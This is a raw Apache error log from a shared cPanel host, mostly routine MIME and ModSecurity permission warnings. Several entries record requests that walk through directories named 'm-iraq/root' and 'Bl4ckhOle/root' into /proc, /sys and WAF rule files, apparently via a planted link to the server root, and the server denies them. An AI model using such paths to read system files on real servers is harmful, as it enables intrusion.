[Fri Jul 17 08:05:34.866961 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU9njA8yK8B7kryx3c8wAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:05:35.022259 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:35.277947 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:35.461233 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:35.829750 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:35.830083 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:35.962266 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 47.82.53.216:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:38/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 08:05:35.970365 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.107415 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.122914 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.380386 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.520655 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.561452 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.652554 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:36.747723 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.072030 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.153503 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.204281 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.233910 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.383526 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/etc/imunify360-wafd/rules/example-rules.yaml.sample
[Fri Jul 17 08:05:37.562812 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.657615 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.838888 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:37.849390 2026] [security2:error] [pid 1993571:tid 1993571] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-global": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almU9-nUgtv5ujFYWh_rOgAAAA0"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:05:37.849420 2026] [security2:error] [pid 1993571:tid 1993571] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-ip": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almU9-nUgtv5ujFYWh_rOgAAAA0"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:05:38.113265 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.388291 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.481545 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.569822 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.664028 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.754957 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:38.823295 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almU-ol9vhFBGA6D8l9yCQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2034&page_105=3113
[Fri Jul 17 08:05:38.823324 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almU-ol9vhFBGA6D8l9yCQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2034&page_105=3113
[Fri Jul 17 08:05:39.186351 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:39.218222 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:39.395229 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:39.872708 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:39.972722 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:40.064613 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:40.155701 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:40.339628 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:40.520686 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:41.821363 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory77/node0/memory46/node0/memory47/node0/"] [unique_id "almU_TiSeFVxYLkcq6IZIwAAAAc"]
[Fri Jul 17 08:05:41.821416 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory77/node0/memory46/node0/memory47/node0/"] [unique_id "almU_TiSeFVxYLkcq6IZIwAAAAc"]
[Fri Jul 17 08:05:44.526586 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:44.617057 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:44.742916 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:44.812526 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:44.812749 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory3/node0/memory127/node0/memory17/"] [unique_id "almVAIl9vhFBGA6D8l9yEAAAAAw"]
[Fri Jul 17 08:05:44.812796 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory3/node0/memory127/node0/memory17/"] [unique_id "almVAIl9vhFBGA6D8l9yEAAAAAw"]
[Fri Jul 17 08:05:45.003298 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.076369 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.169270 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.265073 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.356331 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.446803 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.644821 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.825789 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:45.917707 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.007921 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.098975 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.366590 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.548248 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.548402 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.640428 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.732815 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:46.822296 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.102608 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.201503 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.286375 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.376249 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.467740 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.566352 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.649797 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.740633 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.832126 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:47.940479 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/gcc/x86_64-redhat-linux/8/crtbegin.o"] [unique_id "almVA0MCK1PbyQ2qe6D9sQAAABQ"]
[Fri Jul 17 08:05:47.940515 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/gcc/x86_64-redhat-linux/8/crtbegin.o"] [unique_id "almVA0MCK1PbyQ2qe6D9sQAAABQ"]
[Fri Jul 17 08:05:48.104944 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.196575 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.196739 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.196783 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.196962 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.289163 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.382551 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.473308 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.570462 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.659629 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.753278 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.843203 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:48.942409 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.033081 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.033172 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.033265 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.123550 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.215573 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.305496 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.398824 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.488555 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.590722 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.671815 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.671977 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.672057 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.672130 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.762373 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:49.940317 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.031730 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.124347 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.187627 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.84:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory141/node0/memory6/subsystem/devices/memory55/node0/cpu3/crash_notes_size
[Fri Jul 17 08:05:50.214361 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.364639 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.402336 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.492770 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.584231 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.760715 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.854139 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:50.942269 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.049588 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/gcc/x86_64-redhat-linux/8/crtoffloadend.o"] [unique_id "almVBgG5-NXx3Mem1QgJ4QAAAA8"]
[Fri Jul 17 08:05:51.049622 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/gcc/x86_64-redhat-linux/8/crtoffloadend.o"] [unique_id "almVBgG5-NXx3Mem1QgJ4QAAAA8"]
[Fri Jul 17 08:05:51.129131 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.142724 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:33976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:51.224342 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.316228 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.406911 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.502326 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.593366 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.685449 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.775959 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.867150 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:51.959683 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.049108 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.141017 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.232367 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.323109 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.416830 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.516184 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.745239 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.897595 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:52.972683 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/pcspkr/bind
[Fri Jul 17 08:05:53.074778 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.165861 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.256228 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.346835 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.438642 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.529445 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.619927 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.712420 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.811888 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.907308 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:53.994943 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.087399 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.177780 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.268789 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.360740 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.458542 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:43806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:54.461921 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.626305 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.718323 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.816239 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:54.924653 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.002713 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.090358 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.457660 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.618366 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.653862 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:55.838134 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.083401 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.58:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory110/subsystem/devices/memory0/subsystem/devices/memory73/node0/subsystem/uevent
[Fri Jul 17 08:05:56.097599 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.167226 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.192024 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.380900 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.472386 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.563790 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:56.928698 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.019175 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.109717 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.201760 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.295325 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.394146 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.474925 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS1/irq
[Fri Jul 17 08:05:57.576051 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.855055 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:57.937440 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.018673 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 57.141.18.66:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/subsystem/devices/memory61/node0/memory130/subsystem/devices/memory0/node0/compact
[Fri Jul 17 08:05:58.027540 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.127097 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.210620 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.488034 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.579713 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:58.673218 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
